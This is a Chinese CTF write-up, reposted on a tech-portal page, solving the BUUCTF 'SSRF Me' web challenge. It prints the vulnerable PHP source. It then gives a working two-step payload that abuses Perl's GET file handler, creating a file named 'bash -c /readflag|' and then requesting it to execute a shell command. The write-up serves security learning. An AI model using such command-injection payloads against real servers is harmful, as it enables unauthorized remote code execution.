IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> BUUCTF WEB SSRF ME -> 正文阅读

[PHP知识库]BUUCTF WEB SSRF ME

这题没啥好说的,简简单单一个命令执行漏洞

10.244.80.46<?php
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
    }

    echo $_SERVER["REMOTE_ADDR"];

    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
    @mkdir($sandbox);
    @chdir($sandbox);

    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
    $info = pathinfo($_GET["filename"]);
    $dir  = str_replace(".", "", basename($info["dirname"]));
    @mkdir($dir);
    @chdir($dir);
    @file_put_contents(basename($info["basename"]), $data);
    highlight_file(__FILE__);

出问题的语句就一句

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));

他会把url里面的东西当成命令来执行,他调用的是perl解析器来进行的解析执行,所以究其本质,是perl的问题
小test:
(这是get的正常用法和perl的命令执行没关系)

?url=/&filename=123

相当于执行了GET /,读取了/目录下的所有文件,输出到沙盒目录下的123,没有会自动在当前目录下创建一个
算沙盒目录:orange10.244.80.46的md5值230317844a87b41e353b096d0d6a5145
目录sandbox/230317844a87b41e353b096d0d6a5145
执行payload访问sandbox/230317844a87b41e353b096d0d6a5145/123,成功输出
我们要的是命令执行,因此需要构造bash -c之类的文件名
先给payload再分析
?url=file:bash -c /readflag|&filename=bash -c /readflag|
?url=file:bash -c /readflag|&filename=456
解释一下为什么是两段,因为这个漏洞的前提之一是你file后面的文件名必须是真实存在的,所以第一个payload的作用是生成一个文件名为
bash -c /readflag|的文件,触发他的是@file_put_contents(basename($info["basename"]), $data);
至于为什么有个管道符,这跟这个漏洞的原理有点关系,当第二次执行
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));的时候由于检测到了bash -c /readflag|同名文件,于是调用了file.pm里面的方法
但是里面的代码会有一个>而这个管道符|是为了闭合这个>的,所以你搜payload的test的时候,文件名都会在最前或者最后加一个管道符来闭合这个>
于是成功执行了bash -c /readflag命令,并将结果输出到了456文件中
同理查找拿到flag
参考视频链接:https://www.bilibili.com/video/BV1AS4y1D75Y/

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-03-15 22:12:05  更:2022-03-15 22:12:49 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/19 0:44:01-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码